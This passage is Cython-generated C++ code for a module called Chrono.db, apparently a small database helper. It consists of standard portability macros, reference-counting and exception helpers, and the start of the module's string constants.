!defined(_MSC_VER)) # define CYTHON_UNUSED __attribute__ ((__unused__)) # else # define CYTHON_UNUSED # endif #endif #ifndef CYTHON_MAYBE_UNUSED_VAR # if defined(__cplusplus) template<class T> void CYTHON_MAYBE_UNUSED_VAR( const T& ) { } # else # define CYTHON_MAYBE_UNUSED_VAR(x) (void)(x) # endif #endif #ifndef CYTHON_NCP_UNUSED # if CYTHON_COMPILING_IN_CPYTHON # define CYTHON_NCP_UNUSED # else # define CYTHON_NCP_UNUSED CYTHON_UNUSED # endif #endif #define __Pyx_void_to_None(void_result) ((void)(void_result), Py_INCREF(Py_None), Py_None) #ifndef __cplusplus #error "Cython files generated with the C++ option must be compiled with a C++ compiler." #endif #ifndef CYTHON_INLINE #if defined(__clang__) #define CYTHON_INLINE __inline__ __attribute__ ((__unused__)) #else #define CYTHON_INLINE inline #endif #endif template<typename T> void __Pyx_call_destructor(T& x) { x.~T(); } template<typename T> class __Pyx_FakeReference { public: __Pyx_FakeReference() : ptr(NULL) { } __Pyx_FakeReference(const T& ref) : ptr(const_cast<T*>(&ref)) { } T *operator->() { return ptr; } T *operator&() { return ptr; } operator T&() { return *ptr; } template<typename U> bool operator ==(U other) { return *ptr == other; } template<typename U> bool operator !=(U other) { return *ptr != other; } private: T *ptr; }; #if defined(WIN32) || defined(MS_WINDOWS) #define _USE_MATH_DEFINES #endif #include <math.h> #ifdef NAN #define __PYX_NAN() ((float) NAN) #else static CYTHON_INLINE float __PYX_NAN() { float value; memset(&value, 0xFF, sizeof(value)); return value; } #endif #if defined(__CYGWIN__) && defined(_LDBL_EQ_DBL) #define __Pyx_truncl trunc #else #define __Pyx_truncl truncl #endif #define __PYX_ERR(f_index, lineno, Ln_error) \ { \ __pyx_filename = __pyx_f[f_index]; __pyx_lineno = lineno; __pyx_clineno = __LINE__; goto Ln_error; \ } #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyNumber_Divide(x,y) PyNumber_TrueDivide(x,y) #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceTrueDivide(x,y) #else #define __Pyx_PyNumber_Divide(x,y) PyNumber_TrueDivide(x,y) #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceTrueDivide(x,y) #endif #ifndef __PYX_EXTERN_C #ifdef __cplusplus #define __PYX_EXTERN_C extern "C" #else #define __PYX_EXTERN_C extern #endif #endif #define __PYX_HAVE__Chrono__db #define __PYX_HAVE_API__Chrono__db #ifdef _OPENMP #include <omp.h> #endif /* _OPENMP */ #ifdef PYREX_WITHOUT_ASSERTIONS #define CYTHON_WITHOUT_ASSERTIONS #endif typedef struct {PyObject **p; const char *s; const Py_ssize_t n; const char* encoding; const char is_unicode; const char is_str; const char intern; } __Pyx_StringTabEntry; #define __PYX_DEFAULT_STRING_ENCODING_IS_ASCII 0 #define __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT 0 #define __PYX_DEFAULT_STRING_ENCODING "" #define __Pyx_PyObject_FromString __Pyx_PyBytes_FromString #define __Pyx_PyObject_FromStringAndSize __Pyx_PyBytes_FromStringAndSize #define __Pyx_uchar_cast(c) ((unsigned char)c) #define __Pyx_long_cast(x) ((long)x) #define __Pyx_fits_Py_ssize_t(v, type, is_signed) (\ (sizeof(type) < sizeof(Py_ssize_t)) ||\ (sizeof(type) > sizeof(Py_ssize_t) &&\ likely(v < (type)PY_SSIZE_T_MAX ||\ v == (type)PY_SSIZE_T_MAX) &&\ (!is_signed || likely(v > (type)PY_SSIZE_T_MIN ||\ v == (type)PY_SSIZE_T_MIN))) ||\ (sizeof(type) == sizeof(Py_ssize_t) &&\ (is_signed || likely(v < (type)PY_SSIZE_T_MAX ||\ v == (type)PY_SSIZE_T_MAX))) ) #if defined (__cplusplus) && __cplusplus >= 201103L #include <cstdlib> #define __Pyx_sst_abs(value) std::abs(value) #elif SIZEOF_INT >= SIZEOF_SIZE_T #define __Pyx_sst_abs(value) abs(value) #elif SIZEOF_LONG >= SIZEOF_SIZE_T #define __Pyx_sst_abs(value) labs(value) #elif defined (_MSC_VER) && defined (_M_X64) #define __Pyx_sst_abs(value) _abs64(value) #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L #define __Pyx_sst_abs(value) llabs(value) #elif defined (__GNUC__) #define __Pyx_sst_abs(value) __builtin_llabs(value) #else #define __Pyx_sst_abs(value) ((value<0) ? -value : value) #endif static CYTHON_INLINE char* __Pyx_PyObject_AsString(PyObject*); static CYTHON_INLINE char* __Pyx_PyObject_AsStringAndSize(PyObject*, Py_ssize_t* length); #define __Pyx_PyByteArray_FromString(s) PyByteArray_FromStringAndSize((const char*)s, strlen((const char*)s)) #define __Pyx_PyByteArray_FromStringAndSize(s, l) PyByteArray_FromStringAndSize((const char*)s, l) #define __Pyx_PyBytes_FromString PyBytes_FromString #define __Pyx_PyBytes_FromStringAndSize PyBytes_FromStringAndSize static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char*); #if PY_MAJOR_VERSION < 3 #define __Pyx_PyStr_FromString __Pyx_PyBytes_FromString #define __Pyx_PyStr_FromStringAndSize __Pyx_PyBytes_FromStringAndSize #else #define __Pyx_PyStr_FromString __Pyx_PyUnicode_FromString #define __Pyx_PyStr_FromStringAndSize __Pyx_PyUnicode_FromStringAndSize #endif #define __Pyx_PyObject_AsSString(s) ((signed char*) __Pyx_PyObject_AsString(s)) #define __Pyx_PyObject_AsUString(s) ((unsigned char*) __Pyx_PyObject_AsString(s)) #define __Pyx_PyObject_FromCString(s) __Pyx_PyObject_FromString((const char*)s) #define __Pyx_PyBytes_FromCString(s) __Pyx_PyBytes_FromString((const char*)s) #define __Pyx_PyByteArray_FromCString(s) __Pyx_PyByteArray_FromString((const char*)s) #define __Pyx_PyStr_FromCString(s) __Pyx_PyStr_FromString((const char*)s) #define __Pyx_PyUnicode_FromCString(s) __Pyx_PyUnicode_FromString((const char*)s) #if PY_MAJOR_VERSION < 3 static CYTHON_INLINE size_t __Pyx_Py_UNICODE_strlen(const Py_UNICODE *u) { const Py_UNICODE *u_end = u; while (*u_end++) ; return (size_t)(u_end - u - 1); } #else #define __Pyx_Py_UNICODE_strlen Py_UNICODE_strlen #endif #define __Pyx_PyUnicode_FromUnicode(u) PyUnicode_FromUnicode(u, __Pyx_Py_UNICODE_strlen(u)) #define __Pyx_PyUnicode_FromUnicodeAndLength PyUnicode_FromUnicode #define __Pyx_PyUnicode_AsUnicode PyUnicode_AsUnicode #define __Pyx_NewRef(obj) (Py_INCREF(obj), obj) #define __Pyx_Owned_Py_None(b) __Pyx_NewRef(Py_None) #define __Pyx_PyBool_FromLong(b) ((b) ? __Pyx_NewRef(Py_True) : __Pyx_NewRef(Py_False)) static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject*); static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x); static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject*); static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t); #if CYTHON_ASSUME_SAFE_MACROS #define __pyx_PyFloat_AsDouble(x) (PyFloat_CheckExact(x) ? PyFloat_AS_DOUBLE(x) : PyFloat_AsDouble(x)) #else #define __pyx_PyFloat_AsDouble(x) PyFloat_AsDouble(x) #endif #define __pyx_PyFloat_AsFloat(x) ((float) __pyx_PyFloat_AsDouble(x)) #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyNumber_Int(x) (PyLong_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Long(x)) #else #define __Pyx_PyNumber_Int(x) (PyInt_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Int(x)) #endif #define __Pyx_PyNumber_Float(x) (PyFloat_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Float(x)) #if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII static int __Pyx_sys_getdefaultencoding_not_ascii; static int __Pyx_init_sys_getdefaultencoding_params(void) { PyObject* sys; PyObject* default_encoding = NULL; PyObject* ascii_chars_u = NULL; PyObject* ascii_chars_b = NULL; const char* default_encoding_c; sys = PyImport_ImportModule("sys"); if (!sys) goto bad; default_encoding = PyObject_CallMethod(sys, (char*) "getdefaultencoding", NULL); Py_DECREF(sys); if (!default_encoding) goto bad; default_encoding_c = PyBytes_AsString(default_encoding); if (!default_encoding_c) goto bad; if (strcmp(default_encoding_c, "ascii") == 0) { __Pyx_sys_getdefaultencoding_not_ascii = 0; } else { char ascii_chars[128]; int c; for (c = 0; c < 128; c++) { ascii_chars[c] = c; } __Pyx_sys_getdefaultencoding_not_ascii = 1; ascii_chars_u = PyUnicode_DecodeASCII(ascii_chars, 128, NULL); if (!ascii_chars_u) goto bad; ascii_chars_b = PyUnicode_AsEncodedString(ascii_chars_u, default_encoding_c, NULL); if (!ascii_chars_b || !PyBytes_Check(ascii_chars_b) || memcmp(ascii_chars, PyBytes_AS_STRING(ascii_chars_b), 128) != 0) { PyErr_Format( PyExc_ValueError, "This module compiled with c_string_encoding=ascii, but default encoding '%.200s' is not a superset of ascii.", default_encoding_c); goto bad; } Py_DECREF(ascii_chars_u); Py_DECREF(ascii_chars_b); } Py_DECREF(default_encoding); return 0; bad: Py_XDECREF(default_encoding); Py_XDECREF(ascii_chars_u); Py_XDECREF(ascii_chars_b); return -1; } #endif #if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT && PY_MAJOR_VERSION >= 3 #define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_DecodeUTF8(c_str, size, NULL) #else #define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_Decode(c_str, size, __PYX_DEFAULT_STRING_ENCODING, NULL) #if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT static char* __PYX_DEFAULT_STRING_ENCODING; static int __Pyx_init_sys_getdefaultencoding_params(void) { PyObject* sys; PyObject* default_encoding = NULL; char* default_encoding_c; sys = PyImport_ImportModule("sys"); if (!sys) goto bad; default_encoding = PyObject_CallMethod(sys, (char*) (const char*) "getdefaultencoding", NULL); Py_DECREF(sys); if (!default_encoding) goto bad; default_encoding_c = PyBytes_AsString(default_encoding); if (!default_encoding_c) goto bad; __PYX_DEFAULT_STRING_ENCODING = (char*) malloc(strlen(default_encoding_c)); if (!__PYX_DEFAULT_STRING_ENCODING) goto bad; strcpy(__PYX_DEFAULT_STRING_ENCODING, default_encoding_c); Py_DECREF(default_encoding); return 0; bad: Py_XDECREF(default_encoding); return -1; } #endif #endif /* Test for GCC > 2.95 */ #if defined(__GNUC__) && (__GNUC__ > 2 || (__GNUC__ == 2 && (__GNUC_MINOR__ > 95))) #define likely(x) __builtin_expect(!!(x), 1) #define unlikely(x) __builtin_expect(!!(x), 0) #else /* !__GNUC__ or GCC < 2.95 */ #define likely(x) (x) #define unlikely(x) (x) #endif /* __GNUC__ */ static PyObject *__pyx_m; static PyObject *__pyx_d; static PyObject *__pyx_b; static PyObject *__pyx_empty_tuple; static PyObject *__pyx_empty_bytes; static PyObject *__pyx_empty_unicode; static int __pyx_lineno; static int __pyx_clineno = 0; static const char * __pyx_cfilenm= __FILE__; static const char *__pyx_filename; static const char *__pyx_f[] = { "Chrono/db.py", }; /*--- Type declarations ---*/ /* --- Runtime support code (head) --- */ /* Refnanny.proto */ #ifndef CYTHON_REFNANNY #define CYTHON_REFNANNY 0 #endif #if CYTHON_REFNANNY typedef struct { void (*INCREF)(void*, PyObject*, int); void (*DECREF)(void*, PyObject*, int); void (*GOTREF)(void*, PyObject*, int); void (*GIVEREF)(void*, PyObject*, int); void* (*SetupContext)(const char*, int, const char*); void (*FinishContext)(void**); } __Pyx_RefNannyAPIStruct; static __Pyx_RefNannyAPIStruct *__Pyx_RefNanny = NULL; static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname); #define __Pyx_RefNannyDeclarations void *__pyx_refnanny = NULL; #ifdef WITH_THREAD #define __Pyx_RefNannySetupContext(name, acquire_gil)\ if (acquire_gil) {\ PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__);\ PyGILState_Release(__pyx_gilstate_save);\ } else {\ __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__);\ } #else #define __Pyx_RefNannySetupContext(name, acquire_gil)\ __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__) #endif #define __Pyx_RefNannyFinishContext()\ __Pyx_RefNanny->FinishContext(&__pyx_refnanny) #define __Pyx_INCREF(r) __Pyx_RefNanny->INCREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_DECREF(r) __Pyx_RefNanny->DECREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_GOTREF(r) __Pyx_RefNanny->GOTREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_GIVEREF(r) __Pyx_RefNanny->GIVEREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_XINCREF(r) do { if((r) != NULL) {__Pyx_INCREF(r); }} while(0) #define __Pyx_XDECREF(r) do { if((r) != NULL) {__Pyx_DECREF(r); }} while(0) #define __Pyx_XGOTREF(r) do { if((r) != NULL) {__Pyx_GOTREF(r); }} while(0) #define __Pyx_XGIVEREF(r) do { if((r) != NULL) {__Pyx_GIVEREF(r);}} while(0) #else #define __Pyx_RefNannyDeclarations #define __Pyx_RefNannySetupContext(name, acquire_gil) #define __Pyx_RefNannyFinishContext() #define __Pyx_INCREF(r) Py_INCREF(r) #define __Pyx_DECREF(r) Py_DECREF(r) #define __Pyx_GOTREF(r) #define __Pyx_GIVEREF(r) #define __Pyx_XINCREF(r) Py_XINCREF(r) #define __Pyx_XDECREF(r) Py_XDECREF(r) #define __Pyx_XGOTREF(r) #define __Pyx_XGIVEREF(r) #endif #define __Pyx_XDECREF_SET(r, v) do {\ PyObject *tmp = (PyObject *) r;\ r = v; __Pyx_XDECREF(tmp);\ } while (0) #define __Pyx_DECREF_SET(r, v) do {\ PyObject *tmp = (PyObject *) r;\ r = v; __Pyx_DECREF(tmp);\ } while (0) #define __Pyx_CLEAR(r) do { PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);} while(0) #define __Pyx_XCLEAR(r) do { if((r) != NULL) {PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);}} while(0) /* PyObjectGetAttrStr.proto */ #if CYTHON_USE_TYPE_SLOTS static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name) { PyTypeObject* tp = Py_TYPE(obj); if (likely(tp->tp_getattro)) return tp->tp_getattro(obj, attr_name); #if PY_MAJOR_VERSION < 3 if (likely(tp->tp_getattr)) return tp->tp_getattr(obj, PyString_AS_STRING(attr_name)); #endif return PyObject_GetAttr(obj, attr_name); } #else #define __Pyx_PyObject_GetAttrStr(o,n) PyObject_GetAttr(o,n) #endif /* GetBuiltinName.proto */ static PyObject *__Pyx_GetBuiltinName(PyObject *name); /* GetModuleGlobalName.proto */ static CYTHON_INLINE PyObject *__Pyx_GetModuleGlobalName(PyObject *name); /* PyObjectCall.proto */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw); #else #define __Pyx_PyObject_Call(func, arg, kw) PyObject_Call(func, arg, kw) #endif /* PyObjectSetAttrStr.proto */ #if CYTHON_USE_TYPE_SLOTS #define __Pyx_PyObject_DelAttrStr(o,n) __Pyx_PyObject_SetAttrStr(o,n,NULL) static CYTHON_INLINE int __Pyx_PyObject_SetAttrStr(PyObject* obj, PyObject* attr_name, PyObject* value) { PyTypeObject* tp = Py_TYPE(obj); if (likely(tp->tp_setattro)) return tp->tp_setattro(obj, attr_name, value); #if PY_MAJOR_VERSION < 3 if (likely(tp->tp_setattr)) return tp->tp_setattr(obj, PyString_AS_STRING(attr_name), value); #endif return PyObject_SetAttr(obj, attr_name, value); } #else #define __Pyx_PyObject_DelAttrStr(o,n) PyObject_DelAttr(o,n) #define __Pyx_PyObject_SetAttrStr(o,n,v) PyObject_SetAttr(o,n,v) #endif /* PyThreadStateGet.proto */ #if CYTHON_FAST_THREAD_STATE #define __Pyx_PyThreadState_declare PyThreadState *__pyx_tstate; #define __Pyx_PyThreadState_assign __pyx_tstate = PyThreadState_GET(); #else #define __Pyx_PyThreadState_declare #define __Pyx_PyThreadState_assign #endif /* SaveResetException.proto */ #if CYTHON_FAST_THREAD_STATE #define __Pyx_ExceptionSave(type, value, tb) __Pyx__ExceptionSave(__pyx_tstate, type, value, tb) static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); #define __Pyx_ExceptionReset(type, value, tb) __Pyx__ExceptionReset(__pyx_tstate, type, value, tb) static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); #else #define __Pyx_ExceptionSave(type, value, tb) PyErr_GetExcInfo(type, value, tb) #define __Pyx_ExceptionReset(type, value, tb) PyErr_SetExcInfo(type, value, tb) #endif /* PyErrExceptionMatches.proto */ #if CYTHON_FAST_THREAD_STATE #define __Pyx_PyErr_ExceptionMatches(err) __Pyx_PyErr_ExceptionMatchesInState(__pyx_tstate, err) static CYTHON_INLINE int __Pyx_PyErr_ExceptionMatchesInState(PyThreadState* tstate, PyObject* err); #else #define __Pyx_PyErr_ExceptionMatches(err) PyErr_ExceptionMatches(err) #endif /* GetException.proto */ #if CYTHON_FAST_THREAD_STATE #define __Pyx_GetException(type, value, tb) __Pyx__GetException(__pyx_tstate, type, value, tb) static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); #else static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb); #endif /* PyErrFetchRestore.proto */ #if CYTHON_FAST_THREAD_STATE #define __Pyx_ErrRestoreWithState(type, value, tb) __Pyx_ErrRestoreInState(PyThreadState_GET(), type, value, tb) #define __Pyx_ErrFetchWithState(type, value, tb) __Pyx_ErrFetchInState(PyThreadState_GET(), type, value, tb) #define __Pyx_ErrRestore(type, value, tb) __Pyx_ErrRestoreInState(__pyx_tstate, type, value, tb) #define __Pyx_ErrFetch(type, value, tb) __Pyx_ErrFetchInState(__pyx_tstate, type, value, tb) static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); #else #define __Pyx_ErrRestoreWithState(type, value, tb) PyErr_Restore(type, value, tb) #define __Pyx_ErrFetchWithState(type, value, tb) PyErr_Fetch(type, value, tb) #define __Pyx_ErrRestore(type, value, tb) PyErr_Restore(type, value, tb) #define __Pyx_ErrFetch(type, value, tb) PyErr_Fetch(type, value, tb) #endif /* SwapException.proto */ #if CYTHON_FAST_THREAD_STATE #define __Pyx_ExceptionSwap(type, value, tb) __Pyx__ExceptionSwap(__pyx_tstate, type, value, tb) static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); #else static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb); #endif /* PyCFunctionFastCall.proto */ #if CYTHON_FAST_PYCCALL static CYTHON_INLINE PyObject *__Pyx_PyCFunction_FastCall(PyObject *func, PyObject **args, Py_ssize_t nargs); #else #define __Pyx_PyCFunction_FastCall(func, args, nargs) (assert(0), NULL) #endif /* PyFunctionFastCall.proto */ #if CYTHON_FAST_PYCALL #define __Pyx_PyFunction_FastCall(func, args, nargs)\ __Pyx_PyFunction_FastCallDict((func), (args), (nargs), NULL) #if 1 || PY_VERSION_HEX < 0x030600B1 static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, int nargs, PyObject *kwargs); #else #define __Pyx_PyFunction_FastCallDict(func, args, nargs, kwargs) _PyFunction_FastCallDict(func, args, nargs, kwargs) #endif #endif /* PyObjectCallMethO.proto */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg); #endif /* PyObjectCallOneArg.proto */ static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg); /* PyObjectCallNoArg.proto */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func); #else #define __Pyx_PyObject_CallNoArg(func) __Pyx_PyObject_Call(func, __pyx_empty_tuple, NULL) #endif /* ListAppend.proto */ #if CYTHON_USE_PYLIST_INTERNALS && CYTHON_ASSUME_SAFE_MACROS static CYTHON_INLINE int __Pyx_PyList_Append(PyObject* list, PyObject* x) { PyListObject* L = (PyListObject*) list; Py_ssize_t len = Py_SIZE(list); if (likely(L->allocated > len) & likely(len > (L->allocated >> 1))) { Py_INCREF(x); PyList_SET_ITEM(list, len, x); Py_SIZE(list) = len+1; return 0; } return PyList_Append(list, x); } #else #define __Pyx_PyList_Append(L,x) PyList_Append(L,x) #endif /* PyObjectCallMethod1.proto */ static PyObject* __Pyx_PyObject_CallMethod1(PyObject* obj, PyObject* method_name, PyObject* arg); /* append.proto */ static CYTHON_INLINE int __Pyx_PyObject_Append(PyObject* L, PyObject* x); /* GetItemInt.proto */ #define __Pyx_GetItemInt(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ __Pyx_GetItemInt_Fast(o, (Py_ssize_t)i, is_list, wraparound, boundscheck) :\ (is_list ? (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL) :\ __Pyx_GetItemInt_Generic(o, to_py_func(i)))) #define __Pyx_GetItemInt_List(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ __Pyx_GetItemInt_List_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\ (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL)) static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i, int wraparound, int boundscheck); #define __Pyx_GetItemInt_Tuple(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ __Pyx_GetItemInt_Tuple_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\ (PyErr_SetString(PyExc_IndexError, "tuple index out of range"), (PyObject*)NULL)) static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i, int wraparound, int boundscheck); static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j); static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i, int is_list, int wraparound, int boundscheck); /* IncludeStringH.proto */ #include <string.h> /* BytesEquals.proto */ static CYTHON_INLINE int __Pyx_PyBytes_Equals(PyObject* s1, PyObject* s2, int equals); /* UnicodeEquals.proto */ static CYTHON_INLINE int __Pyx_PyUnicode_Equals(PyObject* s1, PyObject* s2, int equals); /* None.proto */ static CYTHON_INLINE void __Pyx_RaiseUnboundLocalError(const char *varname); /* RaiseArgTupleInvalid.proto */ static void __Pyx_RaiseArgtupleInvalid(const char* func_name, int exact, Py_ssize_t num_min, Py_ssize_t num_max, Py_ssize_t num_found); /* RaiseDoubleKeywords.proto */ static void __Pyx_RaiseDoubleKeywordsError(const char* func_name, PyObject* kw_name); /* ParseKeywords.proto */ static int __Pyx_ParseOptionalKeywords(PyObject *kwds, PyObject **argnames[],\ PyObject *kwds2, PyObject *values[], Py_ssize_t num_pos_args,\ const char* function_name); /* PyIntBinop.proto */ #if !CYTHON_COMPILING_IN_PYPY static PyObject* __Pyx_PyInt_AddObjC(PyObject *op1, PyObject *op2, long intval, int inplace); #else #define __Pyx_PyInt_AddObjC(op1, op2, intval, inplace)\ (inplace ? PyNumber_InPlaceAdd(op1, op2) : PyNumber_Add(op1, op2)) #endif /* PyIntBinop.proto */ #if !CYTHON_COMPILING_IN_PYPY static PyObject* __Pyx_PyInt_SubtractObjC(PyObject *op1, PyObject *op2, long intval, int inplace); #else #define __Pyx_PyInt_SubtractObjC(op1, op2, intval, inplace)\ (inplace ? PyNumber_InPlaceSubtract(op1, op2) : PyNumber_Subtract(op1, op2)) #endif /* Import.proto */ static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level); /* ImportFrom.proto */ static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name); /* FetchCommonType.proto */ static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type); /* CythonFunction.proto */ #define __Pyx_CyFunction_USED 1 #include <structmember.h> #define __Pyx_CYFUNCTION_STATICMETHOD 0x01 #define __Pyx_CYFUNCTION_CLASSMETHOD 0x02 #define __Pyx_CYFUNCTION_CCLASS 0x04 #define __Pyx_CyFunction_GetClosure(f)\ (((__pyx_CyFunctionObject *) (f))->func_closure) #define __Pyx_CyFunction_GetClassObj(f)\ (((__pyx_CyFunctionObject *) (f))->func_classobj) #define __Pyx_CyFunction_Defaults(type, f)\ ((type *)(((__pyx_CyFunctionObject *) (f))->defaults)) #define __Pyx_CyFunction_SetDefaultsGetter(f, g)\ ((__pyx_CyFunctionObject *) (f))->defaults_getter = (g) typedef struct { PyCFunctionObject func; #if PY_VERSION_HEX < 0x030500A0 PyObject *func_weakreflist; #endif PyObject *func_dict; PyObject *func_name; PyObject *func_qualname; PyObject *func_doc; PyObject *func_globals; PyObject *func_code; PyObject *func_closure; PyObject *func_classobj; void *defaults; int defaults_pyobjects; int flags; PyObject *defaults_tuple; PyObject *defaults_kwdict; PyObject *(*defaults_getter)(PyObject *); PyObject *func_annotations; } __pyx_CyFunctionObject; static PyTypeObject *__pyx_CyFunctionType = 0; #define __Pyx_CyFunction_NewEx(ml, flags, qualname, self, module, globals, code)\ __Pyx_CyFunction_New(__pyx_CyFunctionType, ml, flags, qualname, self, module, globals, code) static PyObject *__Pyx_CyFunction_New(PyTypeObject *, PyMethodDef *ml, int flags, PyObject* qualname, PyObject *self, PyObject *module, PyObject *globals, PyObject* code); static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *m, size_t size, int pyobjects); static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *m, PyObject *tuple); static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *m, PyObject *dict); static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *m, PyObject *dict); static int __pyx_CyFunction_init(void); /* CalculateMetaclass.proto */ static PyObject *__Pyx_CalculateMetaclass(PyTypeObject *metaclass, PyObject *bases); /* Py3ClassCreate.proto */ static PyObject *__Pyx_Py3MetaclassPrepare(PyObject *metaclass, PyObject *bases, PyObject *name, PyObject *qualname, PyObject *mkw, PyObject *modname, PyObject *doc); static PyObject *__Pyx_Py3ClassCreate(PyObject *metaclass, PyObject *name, PyObject *bases, PyObject *dict, PyObject *mkw, int calculate_metaclass, int allow_py2_metaclass); /* CodeObjectCache.proto */ typedef struct { PyCodeObject* code_object; int code_line; } __Pyx_CodeObjectCacheEntry; struct __Pyx_CodeObjectCache { int count; int max_count; __Pyx_CodeObjectCacheEntry* entries; }; static struct __Pyx_CodeObjectCache __pyx_code_cache = {0,0,NULL}; static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line); static PyCodeObject *__pyx_find_code_object(int code_line); static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object); /* AddTraceback.proto */ static void __Pyx_AddTraceback(const char *funcname, int c_line, int py_line, const char *filename); /* CIntToPy.proto */ static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value); /* CIntFromPy.proto */ static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *); /* CIntFromPy.proto */ static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *); /* CheckBinaryVersion.proto */ static int __Pyx_check_binary_version(void); /* InitStrings.proto */ static int __Pyx_InitStrings(__Pyx_StringTabEntry *t); /* Module declarations from 'Chrono.db' */ #define __Pyx_MODULE_NAME "Chrono.db" int __pyx_module_is_main_Chrono__db = 0; /* Implementation of 'Chrono.db' */ static PyObject *__pyx_builtin_print; static PyObject *__pyx_builtin_exit; static PyObject *__pyx_builtin_range; static const char __pyx_k_d[] = "d"; static const char __pyx_k_e[] = "e"; static const char __pyx_k_i[] = "i"; static const char __pyx_k_n[] = "n"; static const char __pyx_k_r[] = "r"; static const char __pyx_k_t[] = "t"; static const char __pyx_k__8[] = "("; static const char __pyx_k_db[] = "db"; static const char __pyx_k_e1[] = "e1"; static const char __pyx_k_e2[] = "e2"; static const char __pyx_k_id[] = "id"; static const char __pyx_k__10[] = ""; static const char __pyx_k_doc[] = "__doc__"; static const char __pyx_k_int[] = "int"; static const char __pyx_k_DESC[] = "DESC "; static const char __pyx_k_data[] = "_data"; static const char __pyx_k_desc[] = "_desc"; static const char __pyx_k_exit[] = "exit"; static const char __pyx_k_host[] = "host"; static const char __pyx_k_indb[] = "indb"; static const char __pyx_k_init[] = "__init__"; static const char __pyx_k_link[] = "_link"; static const char __pyx_k_main[] = "__main__"; static const char __pyx_k_name[] = "__name__"; static const char __pyx_k_pass[] = "<PASSWORD>"; static const char __pyx_k_pref[] 